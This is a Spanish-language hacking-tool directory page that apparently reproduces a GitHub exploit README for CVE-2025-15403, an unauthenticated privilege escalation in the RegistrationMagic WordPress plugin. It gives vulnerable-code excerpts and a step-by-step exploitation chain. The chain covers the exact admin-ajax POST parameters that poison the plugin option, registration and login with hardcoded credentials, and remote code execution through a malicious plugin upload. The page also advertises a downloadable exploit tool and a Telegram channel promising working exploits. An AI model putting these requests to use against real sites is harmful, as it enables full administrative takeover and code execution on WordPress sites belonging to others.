Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2025-15403 — RegistrationMagic <= 6.0.7.1 - Escalada de privilegios no autenticada vía admin_order | Kitploit
Herramientas/GitHubGitHub/nxploited/cve-2025-15403
Escalada de PrivilegiosAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebSeguridad WebPruebas de PenetraciónRed TeamingDesarrollo de Payloads
GitHubnxploited/cve-2025-15403

CVE-2025-15403

RegistrationMagic <= 6.0.7.1 - Escalada de privilegios no autenticada vía admin_order

Ver Repositorio
14hace 5 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2025-15403

RegistrationMagic <= 6.0.7.1 - Escalada de Privilegios No Autenticada vía admin_order

 ,-. .   , ,--.     ,-.   ,-.  ,-.  ;--'      , ;--'   ,.  ,-.  ,--, 
/    |  /  |           ) /  /\    ) |        '| |     / | /  /\   /  
|    | /   |-   ---   /  | / |   /  `-.  ---  | `-.  '--| | / |  `.  
\    |/    |         /   \/  /  /      )      |    )    | \/  /    ) 
 `-' '     `--'     '--'  `-'  '--' `-'       ' `-'     '  `-'  `-'  

Telegram CVE CVSS Python License


📡 La información exclusiva llega aquí primero. Sigue a @KNxploited en Telegram: divulgaciones precisas de CVE, exploits funcionales e investigación profunda de vulnerabilidades. El canal para quienes no esperan las noticias, sino que las crean.


🧠 Resumen

CVE-2025-15403 es una vulnerabilidad de Escalada de Privilegios Crítica con CVSS 9.8 en el plugin RegistrationMagic para WordPress.

La falla existe en la función add_menu del plugin, expuesta sin autenticación a través de la acción AJAX rm_user_exists. Al inyectar un slug vacío en el parámetro order junto con el flag enable_admin_order=yes, un atacante manipula la lógica interna de generación de menús del plugin. Cuando el menú de administración se construye posteriormente, el plugin llama silenciosamente a add_cap('manage_options') sobre el rol objetivo, elevando cualquier cuenta de nivel suscriptor a capacidad administrativa completa.

CampoDetalles
ID CVECVE-2025-15403
PluginRegistrationMagic
Slugregistrationmagic / custom-registration-form-builder-with-submission-manager
Versiones AfectadasTodas las versiones hasta la 6.0.7.1 inclusive
Tipo de VulnerabilidadEscalada de Privilegios No Autenticada
Requisito de AtaqueEtapa AJAX: Ninguno. Explotación: Cuenta de suscriptor
Vector de AtaqueRed
Puntuación CVSS 3.19.8 CRÍTICA
Vector CVSSAV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CNAWordfence
ImpactoToma de control total del Administrador de WordPress
InvestigadorNxploited

💀 Análisis Profundo de la Vulnerabilidad

La causa raíz es que la función add_menu es accesible sin autenticación a través de rm_user_exists, combinada con una validación nula del slug admin_order:

// Registered with no capability check
add_action('wp_ajax_nopriv_rm_user_exists', [$this, 'rm_user_exists_handler']);

public function rm_user_exists_handler() {
    $slug     = sanitize_text_field($_POST['rm_slug']);
    $order    = $_POST['order'];   // ← User-controlled, NOT sanitized
    $role_key = /* derived from POST */;
    $enable   = $_POST['enable_admin_order'];

    if ($slug === 'rm_options_admin_menu' && $enable === 'yes') {
        // Stores attacker-controlled order into plugin options
        update_option('rm_admin_order', $order);  // e.g. ",menu1" → empty first slug
    }
}

// Later, when admin menu is being built...
public function add_menu() {
    $order = get_option('rm_admin_order');  // ← Poisoned by attacker
    $slugs = explode(',', $order);

    foreach ($slugs as $slug) {
        if (empty($slug)) {
            // Empty slug triggers unconditional capability grant
            $role->add_cap('manage_options');  // ← FULL ADMIN CAPABILITY ADDED
        }
    }
}

Por qué esto es crítico:

  • wp_ajax_nopriv_* = cero autenticación necesaria para envenenar la opción
  • El slug vacío en order=,menu1 supera la comprobación empty(), activando add_cap('manage_options')
  • manage_options es la capacidad más alta de WordPress: equivale a Administrador
  • Cualquier cuenta de suscriptor existente obtiene inmediatamente derechos administrativos completos en la siguiente carga del menú de administración
  • La etapa AJAX no requiere autenticación previa, lo que hace que toda la cadena tenga una barrera casi nula

⚔️ Cadena de Explotación

╔══════════════════════════════════════════════════════════════════════════╗
║  STAGE 1 — Unauthenticated Option Poisoning                             ║
╚══════════════════════════════════════════════════════════════════════════╝

POST /wp-admin/admin-ajax.php

  action            = rm_user_exists
  rm_slug           = rm_options_admin_menu
  order             = ,menu1              ← empty first element = empty slug
  _Subscriber       = 1                  ← target role key
  restore           = false
  enable_admin_order= yes

Response: HTTP 200 (any non-blocked response = option poisoned)

  ↓ Plugin stores order=",menu1" into wp_options
  ↓ Next admin menu build triggers add_cap('manage_options') on Subscriber role

╔══════════════════════════════════════════════════════════════════════════╗
║  STAGE 2 — Account Acquisition (Subscriber)                             ║
╚══════════════════════════════════════════════════════════════════════════╝

Option A — Register via the site's registration form (Mode 0):
  GET  /wp-login.php?action=register  → smart form detection
  POST → create subscriber account
  Credentials: NXploited / xplpass123

Option B — Use an existing subscriber account.

╔══════════════════════════════════════════════════════════════════════════╗
║  STAGE 3 — Login + Capability Harvest                                   ║
╚══════════════════════════════════════════════════════════════════════════╝

POST /wp-login.php
  log = NXploited
  pwd = xplpass123
  ↓
Subscriber account now carries manage_options → full admin panel accessible

╔══════════════════════════════════════════════════════════════════════════╗
║  STAGE 4 — Deep Verification & RCE via Plugin Upload                    ║
╚══════════════════════════════════════════════════════════════════════════╝

GET  /wp-admin/                          → Admin dashboard accessible ✔️
GET  /wp-admin/plugin-install.php        → Plugin install page accessible ✔️
POST /wp-admin/update.php?action=upload-plugin
     pluginzip = Nxploited.zip           → Plugin uploaded & executed ✔️
GET  /wp-content/plugins/Nxploited/hello.php
     Response contains "Nxploited"       → CONFIRMED RCE ✔️

🎯 Modos de Operación

Este conjunto de exploits proporciona tres modos distintos para cubrir todo el ciclo de vida del ataque:

Descargar herramienta